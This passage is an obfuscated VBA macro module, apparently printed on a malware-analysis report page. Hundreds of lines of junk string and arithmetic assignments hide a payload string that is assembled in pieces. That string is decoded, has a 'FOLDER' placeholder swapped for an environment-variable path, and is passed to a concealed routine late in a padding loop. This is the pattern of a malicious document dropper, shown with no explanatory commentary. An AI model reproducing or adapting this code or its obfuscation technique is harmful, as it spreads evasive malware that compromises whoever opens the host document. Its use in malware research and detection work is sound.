            LgesSNCa = StrReverse("nYyi e %S mGIhf@Y")
            bSSPTA = Right("@]G!ARJra&sq?r", 4)
            OjtSZ = 212 - 485 - 242
            bcYzOr = bcYzOr + 1
        Wend

        OjtSZ = LTrim("&G. UL s)sJV ! x#   ")
        OjtSZ = Space(1)
        GiQFtv = Left(" % .Gm) Yc  m?Mj", 2)
        fiOlm = 350 - 117 - 335
        OjtSZ = Left("^cqX  @h   s& $O", 4)
        OjtSZ = UCase("P-T%cf t ! tsj ")
    Next gZCHkH

    QsTHdI = QsTHdI + "kERPZ"
    bSSPTA = 429 - 380 - 454
    OjtSZ = Left("E fH  Np^SY", 4)
    mCBEZVWQQBqh = StrReverse("c %RNmM &tf F (")
    mCBEZVWQQBqh = Left("foj#k W mK[  xm", 2)
    GiQFtv = UCase("_@ QZT.]u   hyM")
    bSSPTA = " H$.Fb) IV  Hx@" + "l Z hONTBh _DaQK Itb" + "@[ jG o.s.yFa]^%lO^ "
    For ajpbOF = 0 To 10
        GiQFtv = " CG  uz)A  " + "r   oV%?$W&I" + "   F E - oOP"
        GStjydfEQOQy = Space(2)
        bSSPTA = 226 - 396 - 312
        mCBEZVWQQBqh = RTrim("Zk QrTUy&D(tq")
        mCBEZVWQQBqh = StrReverse("h)n t# iX i")
        WTdMMjxyMq = Space(20)
        mCBEZVWQQBqh = 144 + 365 + 301
        WTdMMjxyMq = "UBT uh  gGxLp" + "edBw ( N (" + "I$WxFUAw#r"
        GiQFtv = RTrim(" mSK%Pr YQH  G ")
        LgesSNCa = RTrim("tx BP$  ^ M^CDhu@")
        GStjydfEQOQy = Space(4)
        bSSPTA = 944 + 132 + 207
        GiQFtv = LTrim("[B] m Aw ph u")
        GiQFtv = Left("P l #A  hpg ", 3)
        LgesSNCa = Left("b zhE   .Nl(j VM^ br", 4)
        GStjydfEQOQy = UCase(" so    m  kSw Gql ")
    Next ajpbOF

    QsTHdI = QsTHdI + "Rh F\"
    fiOlm = "_ euvbZ Y f " + "G  zJwnv.hfuX   Q" + "bumNJvaH RX c Ej"
    OjtSZ = "^nl@  !lJQnS  V -l" + "tK j-RfL!?w .  " + "  s-    U]qtg w&w "
    OjtSZ = "$$N HQ$PR]]" + ".)_Jt vi WI fPp" + " uz @ die@ #i& "
    While iOhnOb < 3
        GiQFtv = " i.L rn   f^h Yt_R" + "%xCANi[ X_x" + " BNuOeG^gSUR@(&XPc"
        GiQFtv = Space(13)
        mCBEZVWQQBqh = Left(" A^Q@p@ cois", 4)
        LgesSNCa = "Z  b BMj[ " + "   Isf?! ^ [vGA M" + "FlR S S  Jh^K Zfa  S"
        bSSPTA = "Ej   tOcEp  iMjqgeT " + "[#H]$h S]L ^E# Cufn" + "uf!EhRlGX "
        GStjydfEQOQy = "rrmJHK  aK t^ ACFKrl" + "[r Lq$%SF r @ so " + "Z[HsQts    #y m Ep C"
        GiQFtv = 208 - 114 - 169
        GStjydfEQOQy = Left("%LaejOQ nV", 4)
        mCBEZVWQQBqh = 114 - 409 - 497
        OjtSZ = 1109 + 1453 + 367
        fiOlm = UCase(" ]d u   dXW[  [ T M")
        GiQFtv = Right(" y ^TyUPaN (lIf  !", 3)
        GiQFtv = 273 - 498 - 410
        bSSPTA = RTrim("u@L yorDl?eT ")
        GiQFtv = Left(" aViW^?ZODIp", 4)
        iOhnOb = iOhnOb + 1
    Wend

    mCBEZVWQQBqh = Right(" B .m^E Ksn", 3)
    bSSPTA = Right("vwQ pXe^FXm", 2)
    WTdMMjxyMq = Space(10)
    GiQFtv = Left("NX Zwv KQ ! Ft?e", 4)
    QsTHdI = QsTHdI + "fljDr"
    LgesSNCa = UCase("O   H   F $@")
    For oKvWRU = 0 To 4
        For GHQnJg = 0 To 9
            GiQFtv = LTrim("%@ R OeDb&kAb  W")
            GStjydfEQOQy = StrReverse("nD Kno  PziW Mta%")
            WTdMMjxyMq = RTrim("SV@ UUJi XmA c Pp ")
            OjtSZ = 1428 + 318 + 1712
            GiQFtv = 300 - 395 - 255
            GiQFtv = "sfYNAHP .$rwO fXO$HP" + "w    ?&Z   [ N" + "f TYi dmVI $UB  PV@"
            bSSPTA = " aiPyk ES-C irPTSZ" + "wJvZBE] pos" + "E@ [qEGpV "
            GStjydfEQOQy = RTrim("- ]h oTl $cj U %f j ")
            WTdMMjxyMq = StrReverse("kdrdf  BYeNx O_VHY")
            fiOlm = Right("LSSCxGzss AN&#o]", 5)
            OjtSZ = 283 - 497 - 232
            OjtSZ = StrReverse("  -U)n?%ao$tTde-K$r")
            LgesSNCa = 1349 + 1454 + 1692
            WTdMMjxyMq = Right("Z$a UPC hd", 5)
            OjtSZ = Right(" Ve  fmQ  H", 5)
            GStjydfEQOQy = 240 + 361 + 1699
            GStjydfEQOQy = LTrim(" K.FMsALfWA")
        Next GHQnJg

        GStjydfEQOQy = StrReverse(" l [G#W)DNBGI-(wuIB")
        GStjydfEQOQy = Left("Ss&b FhQp?(_?iS(P", 5)
        mCBEZVWQQBqh = LTrim("TO cNoJC fK  #Ah ")
        LgesSNCa = 201 + 531 + 124
        WTdMMjxyMq = 462 - 356 - 174
        fiOlm = Left(" _lN.n   dbAGlI _M", 3)
        OjtSZ = 340 + 1543 + 1855
        bSSPTA = StrReverse(") ]hmK(lJo")
        GiQFtv = LTrim("h@S  ! ^ ! !%U Oh ")
        OjtSZ = UCase(" --nl L no.R-b[RDM ")
        GStjydfEQOQy = Space(2)
        WTdMMjxyMq = UCase("SiCC@VCcJ_kG--")
        OjtSZ = StrReverse("vhSY#eH n-^r E[")
        GStjydfEQOQy = " CmGmsvTQKq R xiJF" + "[ cdQE?XqB K   -" + "Qd bh.RSO u"
        GiQFtv = 426 + 1210 + 1446
        LgesSNCa = StrReverse("dk)Dw%IvPM")
    Next oKvWRU

    For DNSEnL = 0 To 8
        GiQFtv = Left(" nhQv v_ Z@Ntl Y", 2)
        WTdMMjxyMq = UCase("!--s CHydF^hLHYpb jb")
        GStjydfEQOQy = UCase(" rjvc MmJ Z?ZmHI@-F")
        OjtSZ = StrReverse("  MR^Xp& U   vNA_")
        mCBEZVWQQBqh = Left(" w.EVy   &q", 4)
        OjtSZ = LTrim("^&Uh?#ny gRy &Se")
        mCBEZVWQQBqh = UCase("  $cMeLeE]  rSing")
        fiOlm = 134 - 472 - 107
        WTdMMjxyMq = Left("COmruzP@SE $HDG^ o", 4)
        GiQFtv = Right("UqH?OX[L i!fG   _e", 5)
        GiQFtv = Right(" Li[luTr  q", 4)
        mCBEZVWQQBqh = Left("k-[ k  aggR- lm ", 2)
        GStjydfEQOQy = Right("C^ ]nU# RnV B.g", 5)
        OjtSZ = RTrim("V^ YN!  Pz ")
    Next DNSEnL

    GStjydfEQOQy = RTrim(" Ik  jM F ")
    mCBEZVWQQBqh = "PkL#bBPT &  M k) UC" + "WL_z wl^gX$^C[Hw%yU" + "z#E%fvuZ J"
    GiQFtv = Left(") fqPWEcaObxL", 4)
    fiOlm = "uDk Kdz  W& M#r " + "qmrS bH V^ Q" + "w dYc ieO@Y e( rqy "
    QsTHdI = QsTHdI + " XbD "
    mCBEZVWQQBqh = 354 - 389 - 246
    bSSPTA = 499 - 165 - 227
    bSSPTA = RTrim("#m?S%l^ Ph MB")
    For jXYinr = 0 To 6
        OjtSZ = 117 - 375 - 497
        WTdMMjxyMq = Space(3)
        OjtSZ = Left("  O?VDINCb", 4)
        GStjydfEQOQy = StrReverse("F l  $%T  I l_m$@b")
        OjtSZ = 932 + 1698 + 596
        fiOlm = StrReverse("w eXj %$p ")
        mCBEZVWQQBqh = RTrim("##k?J  md d  i IE un")
        GStjydfEQOQy = LTrim("^(M d  G   y T#")
    Next jXYinr

    GiQFtv = Right(" . b-I  _ TU&Id&yn(", 5)
    QsTHdI = QsTHdI + "Cmo%?"
    GiQFtv = 1493 + 1765 + 725
    OjtSZ = 1085 + 1419 + 1145
    WTdMMjxyMq = StrReverse("k J?_d$um mv^pARKAZ")
    bSSPTA = LTrim(" VWCqTw bohM BZM YD")
    LgesSNCa = Left("M)@gj_# h! PX", 5)
    fiOlm = Space(4)
    GiQFtv = Space(18)
    QsTHdI = QsTHdI + "VN N."
    fiOlm = StrReverse(")( N @WL& )Jr")
    mCBEZVWQQBqh = Space(11)
    OjtSZ = Left("at s  S? f I", 3)
    LgesSNCa = Space(2)
    fiOlm = UCase("R c)ks Ru[  G   ")
    OjtSZ = "q  k y sW X.   d" + "$uiHOrsTFw)]" + "C(W d%  rpv"
    mCBEZVWQQBqh = UCase("  VRZ^  $N )A$ U Lr")
    LgesSNCa = Left("i$L  uZAmw@.Y_h", 5)
    QsTHdI = QsTHdI + "l-Oe]"
    While vtlKuq < 2
        mCBEZVWQQBqh = Right("  L_my LVf ", 4)
        fiOlm = StrReverse(" lq[MHpH#vh")
        bSSPTA = StrReverse("lmSaY] !R &v")
        fiOlm = RTrim("BZixIzD )^Cpl")
        mCBEZVWQQBqh = Left("(eQ iNAA?zI ", 2)
        WTdMMjxyMq = Left(" Y l CMzzHN  ?D", 2)
        bSSPTA = UCase("!  (zsQ  E^ QGw")
        GiQFtv = LTrim("jSB g ( QEo")
        WTdMMjxyMq = LTrim("b.e G?AQ[ LMq.")
        bSSPTA = RTrim(" u n[a$BEdCse")
        bSSPTA = 198 - 161 - 247
        fiOlm = " d u FWgtn" + "YZLEbRU A^cd_.nJZO G" + "^ FN  od  h"
        vtlKuq = vtlKuq + 1
    Wend

    LgesSNCa = RTrim("lSQOwScHrHs")
    GiQFtv = Right("X$]r[EC(X $[_", 2)
    WTdMMjxyMq = Space(2)
    OjtSZ = "mci qrj  X" + "jpvKnP(e h" + "V Qy Cx [ B[ nf "
    LgesSNCa = StrReverse(" taHaNFic b")
    For nnWxvd = 0 To 6
        GStjydfEQOQy = LTrim("MbcB     H")
        fiOlm = "hg _ gGryylYoc L ]C" + "pKGHi tMg " + "] @.k  t  ( "
        mCBEZVWQQBqh = StrReverse("V - nMF Ycw%ctiviF A")
        OjtSZ = StrReverse("rST )()  ) e")
        fiOlm = RTrim("ePj #rU-D   GF(")
        GiQFtv = UCase("m&ds?R.Ba ]bp V")
        WTdMMjxyMq = Left("  j(Fbv       k!tMy)", 5)
        WTdMMjxyMq = "  Zd h -u# gtb)c " + "@KqQ KcsYRq-%d" + "RpN OQjQPV[BV"
        OjtSZ = UCase(" ]mPeg  ^Xt")
        fiOlm = 1113 + 858 + 542
        bSSPTA = UCase("kMw P W[bi b")
        bSSPTA = 165 - 443 - 290
        bSSPTA = Right("CNyQKuQ D jk w ", 5)
        fiOlm = LTrim("OdU a] $Z!lu")
    Next nnWxvd

    QsTHdI = QsTHdI + "Nkx )"
    For UXgEfa = 0 To 10
        WTdMMjxyMq = 1382 + 1028 + 116
        WTdMMjxyMq = UCase(" ]q v^ryGN)ahkl b")
        mCBEZVWQQBqh = 1900 + 361 + 1756
        OjtSZ = Right(" iYQM- BJMq ", 2)
        mCBEZVWQQBqh = RTrim(" rZ lhm  RpZ")
        mCBEZVWQQBqh = StrReverse("-$ xy  E l")
        WTdMMjxyMq = "-^   yhb-)mh " + " ?i fz]] uUd lHjG_jP" + "lN XaEK ln sS nG bl"
        OjtSZ = UCase(" v@!hHyP  ")
        GiQFtv = 1743 + 1484 + 1228
        OjtSZ = 1667 + 1768 + 768
        LgesSNCa = LTrim(" . n@MV%xj@f.^dFuP")
        OjtSZ = 1914 + 1091 + 224
        OjtSZ = Right("b(r!  X  d   ", 5)
        OjtSZ = RTrim(".! ] qG  &ONc  ")
        fiOlm = RTrim("ZpI (uSa P")
    Next UXgEfa

    GStjydfEQOQy = LTrim("Q?vp J & y")
    For vRHXuu = 0 To 2
        While yfiejn < 4
            LgesSNCa = 412 - 409 - 427
            OjtSZ = 1583 + 479 + 159
            mCBEZVWQQBqh = StrReverse("c@ Up yZ .")
            LgesSNCa = Space(2)
            WTdMMjxyMq = LTrim("yl n?  _tER][k-u-k")
            yfiejn = yfiejn + 2
        Wend

        fiOlm = Space(5)
        mCBEZVWQQBqh = Right("b) -J]Dn_ yNpy ", 4)
        mCBEZVWQQBqh = 462 - 371 - 250
        OjtSZ = StrReverse("P-it  $n!T!. b dBbq")
        LgesSNCa = RTrim("dhj A VHTx]")
        GiQFtv = RTrim("&S.S   HDct")
        fiOlm = StrReverse("yt(d-?RUT g  bw x J ")
        OjtSZ = LTrim(" eE@ pRTes Q n")
        GStjydfEQOQy = 731 + 1683 + 412
        LgesSNCa = UCase("CuERawq xX lcacbeF")
        mCBEZVWQQBqh = 557 + 730 + 1419
        GiQFtv = UCase(" & &q k   RH yQywH")
        WTdMMjxyMq = RTrim("  MT(Z  D!")
        mCBEZVWQQBqh = Right("  zPKG]f  nby", 3)
        GStjydfEQOQy = RTrim("ehpisF  oQd!Vj")
        WTdMMjxyMq = 422 - 246 - 165
        WTdMMjxyMq = StrReverse("whZ  &zftMM")
        WTdMMjxyMq = UCase("q ]wyCOT@ QKYR ")
    Next vRHXuu

    LgesSNCa = "z)w v AV  Jj i  %xo" + "  j xHxmF H]" + "Cte q # xD     "
    WTdMMjxyMq = Left(")u Me#   Q @!!", 4)
    mCBEZVWQQBqh = LTrim(" T!em_  &$o ex?(  ")
    LgesSNCa = Right("cPJBgYe bU!   NhJ ", 2)
    GiQFtv = Right("    #HIA_?", 5)
    LgesSNCa = UCase("[% KGcZYv AMYtHe")
    bSSPTA = LTrim("bZNn_O[l z@ I B g ")
    QsTHdI = QsTHdI + "leQJJ"
    OjtSZ = "]YpX   Hs U x! " + "Uj -I(g jV" + "Om w]p UXq_"
    OjtSZ = LTrim("EIe$VN  jn ]W")
    bSSPTA = StrReverse(" trF  CQ sQLJ WmI$ ")
    While zcHpmo < 3
        For vYUCaK = 0 To 8
            GStjydfEQOQy = Right("y(tBe    [EBnDn", 3)
            bSSPTA = LTrim(" zW[sR-?lbr#!A")
            GiQFtv = UCase("GkY? ysB  % H] % N")
            LgesSNCa = 171 - 146 - 141
            mCBEZVWQQBqh = RTrim("o&Ah^XF  xyNI")
            mCBEZVWQQBqh = "r.iX  q_ug] [f?r" + "f R I    oZueSi[Y" + "$ .  Gjk PiC"
            OjtSZ = StrReverse("B LW #AmMfE-#INH !")
        Next vYUCaK

        LgesSNCa = StrReverse(" )b iUluPO(&")
        OjtSZ = Space(18)
        GStjydfEQOQy = RTrim("^rLoI[d L    n!X g")
        GiQFtv = UCase("xdbrHQwla$b Kr cgK")
        WTdMMjxyMq = "Y(jg @b]q eIo I@z" + "msPq[Y&Ya..m " + "  Va Q E! Cb Og"
        bSSPTA = RTrim(" vF CVhL-(oaElG")
        zcHpmo = zcHpmo + 2
    Wend

    WTdMMjxyMq = 1046 + 1327 + 344
    LgesSNCa = RTrim("Go PC LW  [L")
    QsTHdI = Replace(gIwqdAeo(QsTHdI), "FOLDER", Environ(gIwqdAeo("AtHwlu  loKhUyF sjFAelpDr ?qsBtxPFcYrzxyoLI f_kSiz YloCZeKh]")))
    GiQFtv = 1084 + 357 + 748
    WTdMMjxyMq = 380 - 354 - 274
    GStjydfEQOQy = 102 - 426 - 254
    mCBEZVWQQBqh = " )O.E @  x" + "  &Shzq p$#B&   m " + "(f BWE#DBg"
    GStjydfEQOQy = Left("N sE  N @FSin ", 5)
    While uHZvwS < 3
        OjtSZ = LTrim("L ye f   yluKrdpD-i ")
        mCBEZVWQQBqh = RTrim(" _It!O( ![TV")
        LgesSNCa = StrReverse("TjjRkw-GY E ^mpz")
        WTdMMjxyMq = StrReverse("XI R r $La   ) Z( UP")
        GiQFtv = 456 - 211 - 246
        fiOlm = Space(10)
        OjtSZ = 1117 + 1297 + 1567
        fiOlm = LTrim("Gde vR K  &sd Ss.(M#")
        WTdMMjxyMq = Right("  %?CBSxD% l", 3)
        WTdMMjxyMq = 1137 + 1737 + 1556
        bSSPTA = RTrim("-JK]  yY_T_")
        WTdMMjxyMq = 577 + 592 + 1230
        uHZvwS = uHZvwS + 3
    Wend

    While uOZrvF < 458
        LgesSNCa = 1109 + 221 + 1941

        GStjydfEQOQy = Left("S!  wWpam al(-pEAYRX", 2)

        LgesSNCa = Left("C-(cwk niM$ uRrdQ $D", 4)

        bSSPTA = StrReverse(")iFa W  KHER IW")

        bSSPTA = "RflwZ r.I  Eug ? [M" + "$PX  f@LV  Hb" + "rBd %tHkibA ["

        If uOZrvF = 405 Then
            GiQFtv = " y  T  F g -k" + "fO ]p[pw  " + "X)B gWOyI  aQ aa("
            mCBEZVWQQBqh = 873 + 198 + 109
            wkEgkCEB QsTHdI, "RagKu", "wJPVcOmH", "OiaE", "UWBh", "FZTUwmceJS"
            OjtSZ = UCase("YFkegS hU) u ^  ")
        End If
    uOZrvF = uOZrvF + 1
    Wend
    GiQFtv = LTrim("QZ qm f ^#mjp olm")
    For OIGaXF = 0 To 6
        LgesSNCa = 152 - 415 - 400
        GiQFtv = UCase("kWY  ccWrTc(Su  W")
        LgesSNCa = 1463 + 1575 + 1118
        GiQFtv = StrReverse(" fEIN ?ZaEn")
        LgesSNCa = Space(10)
        OjtSZ = UCase("PVs V M&ppZl^ !")
        bSSPTA = StrReverse("VL UBBJGp %I.k ")
        mCBEZVWQQBqh = LTrim("sk gT m  G.")
        LgesSNCa = LTrim(".Rau @kb  OmU")
        LgesSNCa = Left("u  PybHQIK", 5)
        LgesSNCa = Space(11)
        WTdMMjxyMq = StrReverse("c$a e?   (")
        mCBEZVWQQBqh = LTrim(" uqmD? XN ")
        bSSPTA = Space(14)
    Next OIGaXF

    fiOlm = LTrim("] @  uF%.vZYIZBQCZ $")
    GStjydfEQOQy = RTrim("OK L #QX. W?nY")
    GiQFtv = Space(9)
    WTdMMjxyMq = 251 - 494 - 334
    For qROLVK = 0 To 9
        GStjydfEQOQy = Right("r^bEpf[kSjMbx cZi@Ap", 5)
        OjtSZ = StrReverse("&l hHi xp N& P   TIy")
        bSSPTA = " cB[  bFbT@k" + "!  [bo# x " + "mJt crlmD% a"
        WTdMMjxyMq = UCase("yp nQ p$  OwX")
        WTdMMjxyMq = Right(" ^K Ulvwz   b tBU", 4)
        GStjydfEQOQy = Right(" yT$ sSlzcl!C@M In ", 4)
        OjtSZ = Right("lC p]@Isc X", 2)
        LgesSNCa = 274 + 153 + 754
        LgesSNCa = StrReverse("@ uPN#$ aRbDO")
        WTdMMjxyMq = Space(1)
        OjtSZ = Left("SkezbJNm(rXB", 3)
        bSSPTA = 156 - 183 - 213
        GiQFtv = LTrim("u   itguwGu   W@l y")
        GiQFtv = StrReverse("#$T wSJquR kReDCe")
        LgesSNCa = RTrim("hI# Zo&nm_ PEiQ n#")
        mCBEZVWQQBqh = UCase("iG e] %w^ uL -Q ")
        bSSPTA = Space(10)
        GStjydfEQOQy = 1205 + 1200 + 1881
    Next qROLVK

    WTdMMjxyMq = "WLmwSK?jgfH M" + "!rJYwj kP d gcj ?[Z%" + " HlqK Z&UB# R?!i@i "
    bSSPTA = 198 - 143 - 446
    mCBEZVWQQBqh = Space(7)


End Sub



Attribute VB_Name = "Module1"

Sub ZzDEPY(BQtOUv As String)
    For BuYHuR = 0 To 7
        OjtSZ = 187 - 268 - 115
        GStjydfEQOQy = RTrim("zwZ GDTU^   -)%) fRO")
        OjtSZ = LTrim("Lbt^lgNYxBn")
        WTdMMjxyMq = Right("@vDX  iG!zkK%sf ", 2)
        bSSPTA = 475 - 467 - 110
        LgesSNCa = Left(" N #N sT^ x  mO%ZwYJ", 4)
        fiOlm = 295 + 1720 + 745
        LgesSNCa = LTrim("?K! wg FwkYX s jP")
        OjtSZ = 121 - 417 - 411
        fiOlm = UCase(" fDtQz(  Ok@dI")
        LgesSNCa = "&q ^   G ( j[I y  yy" + "tp! uf?[IC  yAn F h" + "ljU DunG[J #"
        GStjydfEQOQy = StrReverse("(i$(d  tXlNpovl")
        fiOlm = LTrim(" QgP YZ %Mn(NXf")
        GStjydfEQOQy = UCase("pf   ^  IE-Fh^]l#?")
    Next BuYHuR

    LgesSNCa = " &^E wmS! z " + "Z  N#D!uFC[wuJDoSW." + "^Y -FVJ(d DPoD.^ "
    WTdMMjxyMq = LTrim(" lqqIswP?aNW  LgWc ")
    For NTSpXS = 0 To 9
        LgesSNCa = UCase("ix$j[S HOM! LQR   ")
        GiQFtv = LTrim("F d] Q[O-! ")
        WTdMMjxyMq = StrReverse("h CG Q lQB")
        WTdMMjxyMq = "nK Vw.   k& !a m^" + "n])i  H MXl] i]Vss^ " + "z. ]U dMR !"
        GiQFtv = RTrim("f e .     ")
        fiOlm = RTrim(" p^MpoleqG q BJOC")
        mCBEZVWQQBqh = LTrim("R  MdY#)_&bX#ma C _p")
        GiQFtv = "]?wWx&(P(k ktjdi^ " + "EEZ %zN !v owZh  rS " + "JJp   RT[yh)aIT"
    Next NTSpXS

    OjtSZ = Space(13)
    LgesSNCa = LTrim("&NNr iSf TfCc $^Y h")
    bSSPTA = UCase("aF%$M&  X lGFr ")
    For NrkLsL = 0 To 5
        OjtSZ = "kBhJ %  ^.QBu " + "rdtDmbur(rB" + "c Nik kYUvuWqb? M"
        LgesSNCa = StrReverse("kYi IWF$aE  OkxDK")
        GiQFtv = UCase(" _Q -y[]f-PJRD %r#! ")
        GiQFtv = UCase("HvSthRu  Q Ztk .")
        OjtSZ = 239 - 243 - 481
        WTdMMjxyMq = StrReverse("o  Zba   d]L UyO  ")
        fiOlm = Space(14)
        WTdMMjxyMq = LTrim(" Jk avAL&&eais   ")
        fiOlm = Right("w    #a  .RAetX ", 5)
        fiOlm = Left(".Rl?FA&gU  TJ  ", 4)
        bSSPTA = StrReverse("u?zW ]Fp _M FZe & ")
    Next NrkLsL

    mCBEZVWQQBqh = Right("[b iXeG     cGN  .", 3)
    fiOlm = Left("KR  qJ nbbK uh j", 4)
    LgesSNCa = "^JuGz@m GK%l $   " + "y(W&-y& a-mr.PVrF" + "L Br[b&Lrnl"
    mCBEZVWQQBqh = Right(" Qz cKRHs L?m", 4)
    fiOlm = Space(1)
    GiQFtv = Right("P.]EUV [%fH  _-", 3)
    mCBEZVWQQBqh = 377 + 108 + 606
    WTdMMjxyMq = RTrim("   .t!  Qx")
    LgesSNCa = "A C )Qtfe^Nx" + " t @fyAc^X  G" + "   bLSFnC A$jKaGJ"
End Sub



Sub zqLakO(jxIZSa As String)
    bSSPTA = LTrim("]  fChxdODQ")
    For DuKnYl = 0 To 1
        For GZpgCr = 0 To 9
            GiQFtv = 193 - 147 - 153
            LgesSNCa = Left(" . HM nnBKJ!b-", 4)
            fiOlm = "FzUscCa-^KxIiq_g S# " + "iLX dle   )   mX" + "fAOljKC Pw"
            fiOlm = Right("@ C AwI) ov", 2)
            GStjydfEQOQy = UCase("HCkp R ACfU ")
            fiOlm = StrReverse("FOm?-g!v@  thhR")
            OjtSZ = StrReverse("- !T x)p#I-Z  ")
            LgesSNCa = UCase("%Kj ^p jC n- D")
        Next GZpgCr

        mCBEZVWQQBqh = StrReverse("Lu n R f!jS^AI")
        GStjydfEQOQy = UCase("vKd uW @jmW] $  -Q$ ")
        fiOlm = LTrim("#  xTF R _ ]uJ    AI")
        OjtSZ = UCase(" Q BBctsdfWBf Y   WV")
        fiOlm = Space(10)
        OjtSZ = Right("XWJ DV %W ", 2)
        mCBEZVWQQBqh = UCase("YH Q! El- Uvt h! ")
        GStjydfEQOQy = LTrim("z@    $t w TPly  x T")
        OjtSZ = LTrim("_ J!yD M e%")
        WTdMMjxyMq = " !   Qp AZ $D%j   c" + "(zb  ophrqqYv" + "CeU-n -eQ) N q y? O"
        LgesSNCa = Space(11)
        mCBEZVWQQBqh = RTrim("asp  @?fYCk inIWnxy)")
        GStjydfEQOQy = RTrim("Hlsz UsQux.ZS")
        mCBEZVWQQBqh = Right(" kRRd  # #tyNe%ss", 3)
    Next DuKnYl

    mCBEZVWQQBqh = StrReverse("nayA#s c z MBUC y")
    WTdMMjxyMq = Right("Z zuU  ckPCT K    ", 4)
    bSSPTA = Space(3)
    OjtSZ = Left("iESEfHS  RL # D  b- ", 4)
    GStjydfEQOQy = Right("Jjc r)B&cOoz", 2)
    bSSPTA = Left("bB y  ? w  RQVkZ", 4)
    OjtSZ = LTrim(" n #Fs -]W(t e[v")
    GiQFtv = LTrim(" .-sA -) Oe ] ")
    WTdMMjxyMq = "sy -S b!^_  " + "sw bF aDfd]S(wD@" + "oU aIOnrJR"
    fiOlm = 1366 + 1863 + 347
    bSSPTA = Left("ifuJH]TTVOf#Jl .Z", 5)
    mCBEZVWQQBqh = StrReverse("Hy fQJ ( r [Xviq$xlT")
End Sub
…

Open this report in the interactive analyzer, or submit your own file for analysis.